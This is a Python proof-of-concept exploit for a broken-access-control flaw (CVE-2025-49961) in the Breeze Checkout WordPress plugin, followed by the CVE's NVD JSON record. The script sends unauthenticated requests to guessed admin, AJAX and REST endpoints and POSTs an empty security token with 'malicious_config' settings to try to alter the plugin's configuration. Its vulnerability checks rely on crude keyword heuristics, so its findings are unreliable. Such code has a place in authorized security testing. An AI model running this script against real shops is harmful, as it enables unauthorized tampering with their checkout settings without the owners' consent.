CVE-2025-49961

# CVE-2025-49961 PoC - Breeze Checkout Authorization Bypass # Target: WordPress site with Breeze Checkout plugin <= 1.4.0 # Type: Missing Authorization / Broken Access Control import requests import sys from urllib.parse import urljoin def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-49961 """ print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-49961 - Breeze Checkout Authorization Bypass\n") # Vulnerable endpoints that lack authorization checks vulnerable_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/breeze-checkout/v1/', '/wp-admin/admin.php?page=breeze-settings', '/wp-content/plugins/breeze-checkout/includes/' ] results = [] for endpoint in vulnerable_endpoints: full_url = urljoin(target_url, endpoint) # Test unauthenticated access to admin functions headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded' } try: # Attempt 1: Direct access without authentication response = requests.get(full_url, headers=headers, timeout=10, verify=False) # Check for signs of authorization bypass if response.status_code == 200: # Check if response contains sensitive data if any(keyword in response.text.lower() for keyword in ['admin', 'config', 'settings', 'order', 'checkout']): print(f"[+] VULNERABLE: {full_url}") print(f" Status: {response.status_code}") print(f" Response contains sensitive keywords") results.append({ 'url': full_url, 'status': 'VULNERABLE', 'code': response.status_code }) elif response.status_code == 403: print(f"[-] Protected: {full_url} (403 Forbidden)") else: print(f"[*] Endpoint: {full_url} (Status: {response.status_code})") except requests.exceptions.RequestException as e: print(f"[!] Error testing {full_url}: {e}") # Test POST-based exploitation print("\n[*] Testing POST-based exploitation...") post_endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/breeze-checkout/v1/config/update' ] for endpoint in post_endpoints: full_url = urljoin(target_url, endpoint) # Simulated malicious POST data post_data = { 'action': 'breeze_checkout_admin_action', 'security': '', # Empty security token 'settings': 'malicious_config' } try: response = requests.post(full_url, data=post_data, headers=headers, timeout=10, verify=False) if response.status_code == 200: if 'success' in response.text.lower() or 'error' not in response.text.lower(): print(f"[!] Possible vulnerability via POST: {full_url}") print(f" Server processed request without proper authorization") results.append({ 'url': full_url, 'status': 'POSSIBLY_VULNERABLE', 'method': 'POST' }) except requests.exceptions.RequestException as e: print(f"[!] Error in POST test: {e}") if results: print(f"\n[+] Found {len(results)} potentially vulnerable endpoints") print("[*] Manual verification recommended") return True else: print("\n[-] No obvious vulnerabilities detected") print("[*] Manual testing may be required") return False def exploit_demo(target_url): """ Demonstration of the authorization bypass (for authorized testing only) """ print("\n[*] Exploitation demonstration") print("[*] This PoC shows how an unauthenticated attacker can access admin functions") # Example: Access to plugin configuration config_url = urljoin(target_url, '/wp-admin/admin.php?page=breeze-settings') headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Cookie': '' # No authentication cookie } print(f"[*] Sending unauthenticated request to: {config_url}") try: response = requests.get(config_url, headers=headers, timeout=10, verify=False, allow_redirects=False) if response.status_code in [200, 302]: print(f"[+] Server responded with status {response.status_code}") print(f"[+] This indicates missing authorization checks") print(f"[+] Attacker can now access/modify plugin settings without authentication") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2025-49961-poc.py <target_url>") print("Example: python cve-2025-49961-poc.py http://example.com") sys.exit(1) target = sys.argv[1].rstrip('/') check_vulnerability(target)

{"cve": {"id": "CVE-2025-49961", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:42.873", "lastModified": "2026-04-27T20:16:19.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Breeze Team Breeze Checkout breeze-checkout allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Breeze Checkout: from n/a through <= 1.4.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/breeze-checkout/vulnerability/wordpress-breeze-checkout-plugin-1-4-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}